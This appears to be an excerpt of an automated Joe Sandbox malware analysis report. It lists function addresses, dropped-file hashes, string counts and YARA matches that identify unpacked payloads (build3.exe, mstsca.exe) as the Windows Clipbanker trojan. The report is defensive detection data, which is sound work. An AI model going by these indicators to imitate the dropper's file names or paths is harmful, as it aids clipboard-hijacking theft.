Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05ECD7F1	0_2_05ECD7F1
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EAA79A	0_2_05EAA79A
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EAC760	0_2_05EAC760
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EAE6E0	0_2_05EAE6E0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EEB69F	0_2_05EEB69F
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EAA699	0_2_05EAA699
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05ECD1A4	0_2_05ECD1A4
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EEE141	0_2_05EEE141
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA9120	0_2_05EA9120
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA70E0	0_2_05EA70E0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA30F0	0_2_05EA30F0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EB00D0	0_2_05EB00D0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EAB0B0	0_2_05EAB0B0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EAA026	0_2_05EAA026
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EBF030	0_2_05EBF030
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EAB000	0_2_05EAB000
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA7393	0_2_05EA7393
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EEE37C	0_2_05EEE37C
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05F222C0	0_2_05F222C0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA7220	0_2_05EA7220
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA5DE7	0_2_05EA5DE7
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA5DF7	0_2_05EA5DF7
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EE2D1E	0_2_05EE2D1E
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05ED4E9F	0_2_05ED4E9F
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA8E60	0_2_05EA8E60
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA59F7	0_2_05EA59F7
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA89D0	0_2_05EA89D0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05ECE9A3	0_2_05ECE9A3
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05ECF9B0	0_2_05ECF9B0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EBA930	0_2_05EBA930
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EAA916	0_2_05EAA916
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EC18D0	0_2_05EC18D0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA7880	0_2_05EA7880
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EADBE0	0_2_05EADBE0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA2B60	0_2_05EA2B60
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EB0B00	0_2_05EB0B00
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA7A80	0_2_05EA7A80
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EACA10	0_2_05EACA10
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040D240	2_2_0040D240
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00419F90	2_2_00419F90
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040C070	2_2_0040C070
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0042E003	2_2_0042E003
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00408030	2_2_00408030
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00410160	2_2_00410160
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004C8113	2_2_004C8113
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004021C0	2_2_004021C0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0044237E	2_2_0044237E
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004084C0	2_2_004084C0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004344FF	2_2_004344FF
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0043E5A3	2_2_0043E5A3
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040A660	2_2_0040A660
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0041E690	2_2_0041E690
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00406740	2_2_00406740
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00402750	2_2_00402750
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040A710	2_2_0040A710
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00408780	2_2_00408780
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0042C804	2_2_0042C804
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00406880	2_2_00406880
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004349F3	2_2_004349F3
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004069F3	2_2_004069F3
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00402B80	2_2_00402B80
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00406B80	2_2_00406B80
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0044ACFF	2_2_0044ACFF
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0042CE51	2_2_0042CE51
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00434E0B	2_2_00434E0B
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00406EE0	2_2_00406EE0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00420F30	2_2_00420F30
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00405057	2_2_00405057
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0042F010	2_2_0042F010
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004070E0	2_2_004070E0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004391F6	2_2_004391F6
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00435240	2_2_00435240
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_004C9343	2_2_004C9343
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00405447	2_2_00405447
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00405457	2_2_00405457
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00449506	2_2_00449506
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0044B5B1	2_2_0044B5B1
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00435675	2_2_00435675
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00409686	2_2_00409686
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040F730	2_2_0040F730
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0044D7A1	2_2_0044D7A1
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00481920	2_2_00481920
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0044D9DC	2_2_0044D9DC
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00449A71	2_2_00449A71
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00443B40	2_2_00443B40
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00409CF9	2_2_00409CF9
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040DD40	2_2_0040DD40
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00427D6C	2_2_00427D6C
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040BDC0	2_2_0040BDC0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00409DFA	2_2_00409DFA
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00409F76	2_2_00409F76
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0046BFE0	2_2_0046BFE0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00449FE3	2_2_00449FE3
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB3520	5_2_05DB3520
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB7520	5_2_05DB7520
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DDD7F1	5_2_05DDD7F1
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBA79A	5_2_05DBA79A
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBC760	5_2_05DBC760
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBE6E0	5_2_05DBE6E0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DFB69F	5_2_05DFB69F
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBA699	5_2_05DBA699
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DDD1A4	5_2_05DDD1A4
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DFE141	5_2_05DFE141
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB9120	5_2_05DB9120
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DC00D0	5_2_05DC00D0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB30F0	5_2_05DB30F0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB70E0	5_2_05DB70E0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBB0B0	5_2_05DBB0B0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBB000	5_2_05DBB000
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DCF030	5_2_05DCF030
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBA026	5_2_05DBA026
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB7393	5_2_05DB7393
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DFE37C	5_2_05DFE37C
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05E322C0	5_2_05E322C0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB7220	5_2_05DB7220
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB5DF7	5_2_05DB5DF7
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB5DE7	5_2_05DB5DE7
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DF2D1E	5_2_05DF2D1E
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DE4E9F	5_2_05DE4E9F
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB8E60	5_2_05DB8E60
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB89D0	5_2_05DB89D0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB59F7	5_2_05DB59F7
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DDF9B0	5_2_05DDF9B0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DDE9A3	5_2_05DDE9A3
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBA916	5_2_05DBA916
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DCA930	5_2_05DCA930
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DD18D0	5_2_05DD18D0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB7880	5_2_05DB7880
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBDBE0	5_2_05DBDBE0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB2B60	5_2_05DB2B60
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DC0B00	5_2_05DC0B00
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB7A80	5_2_05DB7A80
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DBCA10	5_2_05DBCA10
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC3520	6_2_05EC3520
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC7520	6_2_05EC7520
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EED7F1	6_2_05EED7F1
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECA79A	6_2_05ECA79A
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECC760	6_2_05ECC760
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECE6E0	6_2_05ECE6E0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05F0B69F	6_2_05F0B69F
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECA699	6_2_05ECA699
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EED1A4	6_2_05EED1A4
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05F0E141	6_2_05F0E141
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC9120	6_2_05EC9120
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC70E0	6_2_05EC70E0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC30F0	6_2_05EC30F0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ED00D0	6_2_05ED00D0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECB0B0	6_2_05ECB0B0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECA026	6_2_05ECA026
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EDF030	6_2_05EDF030
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECB000	6_2_05ECB000
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC7393	6_2_05EC7393
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05F0E37C	6_2_05F0E37C
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05F422C0	6_2_05F422C0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC7220	6_2_05EC7220
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC5DE7	6_2_05EC5DE7
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC5DF7	6_2_05EC5DF7
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05F02D1E	6_2_05F02D1E
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EF4E9F	6_2_05EF4E9F
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC8E60	6_2_05EC8E60
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC59F7	6_2_05EC59F7
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC89D0	6_2_05EC89D0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EEE9A3	6_2_05EEE9A3
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EEF9B0	6_2_05EEF9B0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EDA930	6_2_05EDA930
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECA916	6_2_05ECA916
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EE18D0	6_2_05EE18D0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC7880	6_2_05EC7880
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECDBE0	6_2_05ECDBE0
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC2B60	6_2_05EC2B60
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ED0B00	6_2_05ED0B00
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC7A80	6_2_05EC7A80
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05ECCA10	6_2_05ECCA10

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\sqln[1].dll 036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550

Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: String function: 05EF0160 appears 50 times
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: String function: 05EE8EC0 appears 57 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 00428C81 appears 42 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 05EC8EC0 appears 57 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 05ED0160 appears 50 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 004547A0 appears 75 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 05DE0160 appears 50 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 05DD8EC0 appears 57 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 0042F7C0 appears 99 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 0044F23E appears 53 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 00428520 appears 77 times
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: String function: 00454E50 appears 42 times

Source: R5391762lf.exe, 00000000.00000002.1373459929.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs R5391762lf.exe
Source: R5391762lf.exe, 00000002.00000003.1391294965.0000000002F71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFirez( vs R5391762lf.exe
Source: R5391762lf.exe, 00000002.00000000.1370901949.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs R5391762lf.exe
Source: R5391762lf.exe, 00000005.00000002.1404961018.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs R5391762lf.exe
Source: R5391762lf.exe, 00000006.00000002.1410752976.00000000040A1000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFirez( vs R5391762lf.exe
Source: R5391762lf.exe, 00000007.00000000.1401160691.00000000040A1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFirez( vs R5391762lf.exe

Source: R5391762lf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
